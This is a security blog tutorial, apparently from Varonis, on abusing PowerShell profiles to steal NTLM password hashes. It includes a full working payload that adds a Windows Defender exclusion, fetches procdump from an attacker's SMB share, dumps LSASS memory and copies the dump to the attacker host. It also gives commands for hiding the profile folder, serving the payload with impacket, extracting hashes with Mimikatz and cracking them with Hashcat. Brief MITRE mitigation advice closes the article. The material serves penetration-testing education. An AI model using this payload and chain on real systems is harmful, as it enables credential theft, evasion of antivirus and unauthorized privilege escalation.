Exfiltrate NTLM Hashes with PowerShell Profiles

Learn how to exfiltrate NTLM hashes using PowerShell, Mimikatz, Hashcat and other techniques through real code examples, gif walkthroughs and screenshots.
Tokyoneon
10 min read
Last updated February 25, 2022

The privilege escalation method shown in this article is a variant used by Russian-based espionage groups. It outlines an attacker’s ability to leverage built-in PowerShell features to execute arbitrary commands in an elevated (Administrator) context. Below is a demonstration on exfiltrating NTLM hashes.

As defined by the MITRE ATT&CK Framework:

Event-Triggered Execution: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments… Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence.

See the included topics below:

Understanding the Attack

In the below example, an unsuspecting user is starting PowerShell with Local Administrator privileges.

windows powershell admin screen capture

The session doesn’t appear unusual to the user. But after examining the PowerShell profile, we see hashed passwords sent to an attacker-controlled server. The attack is entirely transparent to the target user.

The ideal conditions for this attack are:

  • Local Administrator Capabilities: With Local Administrator accounts, PowerShell sessions started with low privileges and administrator privileges share a profile.ps1. An attacker with remote access can manipulate the profile.ps1 executed by Administrator PowerShell sessions.
  • Permissive PowerShell Execution Policies: The Execution Policy will ultimately determine if the attack is possible. The profile.ps1 will only execute in Administrator PowerShell sessions if script execution is allowed.

Get the Free Pentesting Active
Directory Environments E-Book

The network topology contains a Windows 10 and Kali Linux machine connected by a single router (shown below).

Illustration of Kali Linux and Windows PowerShell

What are PowerShell Execution Policies?

As defined by the Microsoft documentation:

PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts… The execution policy isn’t a security system that restricts user actions… Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.

In Windows 10, “Undefined” is the default policy in every Scope. However, it’s common for users to change the CurrentUser and LocalMachine policies to allow script executions. Permissive Policies such as RemoteSigned, Unrestricted, or Bypass make privilege escalation possible.

Use the Get-ExecutionPolicy -List command to view the current policies.

  1. PS C:\Users\varonis> Get-ExecutionPolicy -List
  2.  
  3. Scope ExecutionPolicy
  4. ----- ---------------
  5. MachinePolicy Undefined
  6. UserPolicy Undefined
  7. Process Undefined
  8. CurrentUser Undefined
  9. LocalMachine RemoteSigned
PS C:\Users\varonis> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       RemoteSigned

What are PowerShell Profiles?

PowerShell profiles are scripts that execute with every new PowerShell session. That includes PowerShell ISE and Visual Studio sessions. They’re a convenient way for users and developers to load custom functions and modules with every new PS terminal.

Use the $PROFILE variable to view the session’s profile path.

screen capture of a PowerShell profile

View the contents of the file with the Get-Content command.

  1. PS C:\Users\varonis> Get-Content $PROFILE
PS C:\Users\varonis> Get-Content $PROFILE

If the directory doesn’t exist, an attacker can create it as a hidden folder to prevent detection.

  1. PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

If the PS1 file doesn’t exist, create it. As dumping passwords requires elevated privileges, this is an effective way to prevent the payload from executing in low privileged contexts.

  1. PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

screen capture of a PowerShell payload

At a glance, this doesn’t appear like a huge issue. It’s important to understand that an attacker can change a file executed automatically by Administrator PowerShell sessions. Consider replacing echo with a command to disable Windows Defender or reset passwords.

Setup the Attack

Let’s weaponize what we know about PowerShell profiles to show how an attacker can extract hashed passwords. In Kali, start by creating the working directory to store several files.

  1. tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

Download the latest version of Procdump.

  1. tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'

Unzip the compressed file to find different versions of Procdump. The attack described in this article will use procdump.exe.

  1. tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip

Download the script I created for this article and save it with the “payload” filename. Use the below command or find it on my GitHub. Change the $server IP in the payload to your Kali address.

  1. tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload

The payload contains several simple commands. The Add-MpPreference cmdlet adds $env:TEMP to the Windows Defender exclusion list. It will prevent Windows Defender from detecting the procdump.exe or the LSASS memory dump. Acting as an alternative to Invoke-WebRequest, esentutl.exe will download procdump.exe from the attacker’s SMB share. Procdump executes and saves the LSASS dump to $env:TEMP. It’s zipped with Compress-Archive and exfiltrated to the SMB share via the cp command.

For clarity, I added comments to the payload.

  1. # an if statement to prevent the attack from executing without administrator privileges
  2. if (whoami /groups | findstr /i "S-1-16-12288")
  3. {
  4. # start the attack as a background processs to prevent the PS terminal from stalling when opened
  5. Start-Job {
  6. # where to write data during the attack?
  7. $temp = "$env:TEMP"
  8.  
  9. # create path exclusion in Windows Defender to prevent procdump detection
  10. Add-MpPreference -ExclusionPath $temp
  11.  
  12. # sleep several seconds to allow the path exclusion to take effect
  13. Start-Sleep -s 4
  14.  
  15. # the attacker's IP address
  16. $server = "192.168.56.101"
  17.  
  18. # the attacker's SMB share name, must match impacket-smbserver share name
  19. $share = "evilshare"
  20.  
  21. # procdump filename as it appears on the attacker's SMB share
  22. $procdump = "procdump.exe"
  23.  
  24. # procdump.exe is saved locally with a random string as the filename
  25. $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
  26.  
  27. # the procdump output path when saved locally; shameless username plug
  28. $dump = "tokyoneon.dmp"
  29.  
  30. # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
  31. $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
  32.  
  33. # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
  34. esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
  35.  
  36. # execute procdump and dump LSASS memory
  37. & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
  38.  
  39. # suppress progress bar that appears in the terminal when compressing the dump
  40. $ProgressPreference = "SilentlyContinue"
  41.  
  42. # compress the dump
  43. Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
  44.  
  45. # exfiltrate the compressed dump to the attacker's SMB share via cp
  46. cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
  47. }
# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
{
  # start the attack as a background processs to prevent the PS terminal from stalling when opened
  Start-Job {
    # where to write data during the attack?
    $temp = "$env:TEMP"

    # create path exclusion in Windows Defender to prevent procdump detection
    Add-MpPreference -ExclusionPath $temp
    
    # sleep several seconds to allow the path exclusion to take effect
    Start-Sleep -s 4

    # the attacker's IP address
    $server = "192.168.56.101"

    # the attacker's SMB share name, must match impacket-smbserver share name
    $share = "evilshare"

    # procdump filename as it appears on the attacker's SMB share
    $procdump = "procdump.exe"

    # procdump.exe is saved locally with a random string as the filename
    $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'

    # the procdump output path when saved locally; shameless username plug
    $dump = "tokyoneon.dmp"

    # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
    $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"

    # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o

    # execute procdump and dump LSASS memory
    & $temp\$filename -accepteula -ma lsass.exe $temp\$dump

    # suppress progress bar that appears in the terminal when compressing the dump
    $ProgressPreference = "SilentlyContinue"

    # compress the dump
    Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force

    # exfiltrate the compressed dump to the attacker's SMB share via cp
    cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
}

Start impacket-smbserver to serve the payload and wait for incoming LSASS dumps. The terminal must remain open for the duration of the attack.

  1. tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"

screen capture of a PowerShell payload waiting for incoming LSASS dumps

In Windows, add the payload to the target $PROFILE. It’s possible to do this via reverse shell or backdoor, but for simplicity, use a PS terminal. Change the $attacker variable in the following command to your Kali IP address.

  1. PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE

screen capture of a PowerShell evilshare profile

When the target starts a new Administrator PowerShell session, the impacket-smbserver will appear as shown below.

screen capture of a PowerShell impacket-smbserver

Two separate “AUTHENTICATE_MESSAGE” prompts appear in the impacket-smbserver output: The target OS fetching the procdump.exe and the compressed LSASS dump delivered to the server. After the second message, wait a few moments and press Ctrl + c twice to kill the Impacket server. There will be a new ZIP file in the current directory. Unzip it to find the DMP file.

Extract Password Hashes with Mimikatz

The hashed passwords in the DMP file are not readable in plaintext. Move the DMP file to a Windows 10 VM with Windows Defender disabled. Download the latest version of Mimikatz (mimikatz_trunk.zip) and save it to the Downloads folder in Windows.

Open a PowerShell terminal and decompress the ZIP with the following command.

  1. PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz

Change into the x64 directory and execute the mimikatz.exe binary.

  1. PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe

screen capture of mimikatz.exe

Load the DMP info Mimikatz with the sekurlsa::minidump command.

  1. mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

Use the sekurlsa::logonPasswords command to extract hashed credentials. Notice the NTLM hash on line 12.

  1. mimikatz # sekurlsa::logonPasswords
  2.  
  3. Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
  4.  
  5. 1 Authentication Id : 0 ; 188563 (00000000:0002e093)
  6. 2 Session : Interactive from 1
  7. 3 User Name : varonis
  8. 4 Domain : DESKTOP-JI80T34
  9. 5 Logon Server : DESKTOP-JI80T34
  10. 6 Logon Time : 11/15/2020 9:56:57 PM
  11. 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
  12. 8 msv :
  13. 9 [00000003] Primary
  14. 10 * Username : varonis
  15. 11 * Domain : DESKTOP-JI80T34
  16. 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
  17. 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
  18. 14 tspkg :
  19. 15 wdigest :
  20. 16 * Username : varonis
  21. 17 * Domain : DESKTOP-JI80T34
  22. 18 * Password : (null)
  23. 19 kerberos :
  24. 20 * Username : varonis
  25. 21 * Domain : DESKTOP-JI80T34
  26. 22 * Password : (null)
  27. 23 ssp :
  28. 24 credman :
  29. 25 cloudap :
  30.  
  31. ----- [truncated] -----
  32.  
  33. 59 Authentication Id : 0 ; 999 (00000000:000003e7)
  34. 60 Session : UndefinedLogonType from 0
  35. 61 User Name : DESKTOP-JI80T34$
  36. 62 Domain : WORKGROUP
  37. 63 Logon Server : (null)
  38. 64 Logon Time : 11/15/2020 9:56:50 PM
  39. 65 SID : S-1-5-18
  40. 66 msv :
  41. 67 tspkg :
  42. 68 wdigest :
  43. 69 * Username : DESKTOP-JI80T34$
  44. 70 * Domain : WORKGROUP
  45. 71 * Password : (null)
  46. 72 kerberos :
  47. 73 * Username : desktop-ji80t34$
  48. 74 * Domain : WORKGROUP
  49. 75 * Password : (null)
  50. 76 ssp :
  51. 77 credman :
  52. 78 cloudap :
  53.  
  54. mimikatz #
mimikatz # sekurlsa::logonPasswords

Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...

  1	Authentication Id : 0 ; 188563 (00000000:0002e093)
  2	Session           : Interactive from 1
  3	User Name         : varonis
  4	Domain            : DESKTOP-JI80T34
  5	Logon Server      : DESKTOP-JI80T34
  6	Logon Time        : 11/15/2020 9:56:57 PM
  7	SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
  8	        msv :
  9	         [00000003] Primary
 10	         * Username : varonis
 11	         * Domain   : DESKTOP-JI80T34
 12	         * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
 13	         * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
 14	        tspkg :
 15	        wdigest :
 16	         * Username : varonis
 17	         * Domain   : DESKTOP-JI80T34
 18	         * Password : (null)
 19	        kerberos :
 20	         * Username : varonis
 21	         * Domain   : DESKTOP-JI80T34
 22	         * Password : (null)
 23	        ssp :
 24	        credman :
 25	        cloudap :
    
 			----- [truncated] -----
    
 59	Authentication Id : 0 ; 999 (00000000:000003e7)
 60	Session           : UndefinedLogonType from 0
 61	User Name         : DESKTOP-JI80T34$
 62	Domain            : WORKGROUP
 63	Logon Server      : (null)
 64	Logon Time        : 11/15/2020 9:56:50 PM
 65	SID               : S-1-5-18
 66	        msv :
 67	        tspkg :
 68	        wdigest :
 69	         * Username : DESKTOP-JI80T34$
 70	         * Domain   : WORKGROUP
 71	         * Password : (null)
 72	        kerberos :
 73	         * Username : desktop-ji80t34$
 74	         * Domain   : WORKGROUP
 75	         * Password : (null)
 76	        ssp :
 77	        credman :
 78	        cloudap :

mimikatz #

Crack NTLM Hashes with Hashcat

Now onto another pentesting tool, Hashcat. Even in 2020, people use weak passwords to secure their data and accounts. With the latest version of Hashcat and a generic GTX 1060 GPU, it took one-second to crack a hash containing seven characters.

  1. tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l

screen capture of a Hashcat in action

Mitigation & Detection

As recommended by the MITRE ATT&CK Framework:

Monitor the profile locations for modifications. Additional mitigations include:

  • Code Signing: Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.
  • Restrict File and Directory Permissions: Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user-level persistence.
  • Software Configuration: Avoid PowerShell profiles if not needed. Use the -NoProfile flag when executing PowerShell scripts remotely to prevent local profiles from being executed.

Conclusion

This attack on NTLM hashes illustrates the dangers of an overly permissive policy coupled with local administrator accounts. While this detailed how an attacker can force the administrator to exfiltrate NTLM hashes, it’s trivial to modify the featured payload and elevate to NT AUTHORITY\SYSTEM with PsExec. See additional tips for pentesters using PowerShell.

Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.

What should I do now?

Below are three ways you can continue your journey to reduce data risk at your company:

1

Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's data security needs and answer any questions.

2

See a sample of our Data Risk Assessment and learn the risks that could be lingering in your environment. Varonis' DRA is completely free and offers a clear path to automated remediation.

3

Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data security, including DSPM, threat detection, AI security, and more.

Try Varonis free.

Get a detailed data risk report based on your company’s data.
Deploys in minutes.

Keep reading

Varonis tackles hundreds of use cases, making it the ultimate platform to stop data breaches and ensure compliance.

outlook-vulnerability-discovery-and-new-ways-to-leak-ntlm-hashes
Outlook Vulnerability Discovery and New Ways to Leak NTLM Hashes
Varonis Threat Labs discovered a new Outlook exploit and three new ways to access NTLM v2 hashed passwords.
penetration-testing-explained,-part-vi:-passing-the-hash
Penetration Testing Explained, Part VI: Passing the Hash
We’re now at a point in this series where we’ve exhausted all our standard tricks to steal credentials — guessing passwords, or brute force attacks on the hash itself.  What’s...
pass-the-hash,-part-iii:-how-ntlm-will-get-you-hacked
Pass the Hash, Part III: How NTLM Will Get You Hacked
The most important takeaway about PtH is that the password hashes that are stored in memory (and grabbed by hackers) are a feature of Single Sign On.
working-with-windows-local-administrator-accounts,-part-ii
Working With Windows Local Administrator Accounts, Part II
Before we delve into Restricted Groups, I thought it might be worthwhile to take a closer look at how hackers take advantage of Administrator passwords. For Pass-the-Hash fans, this post...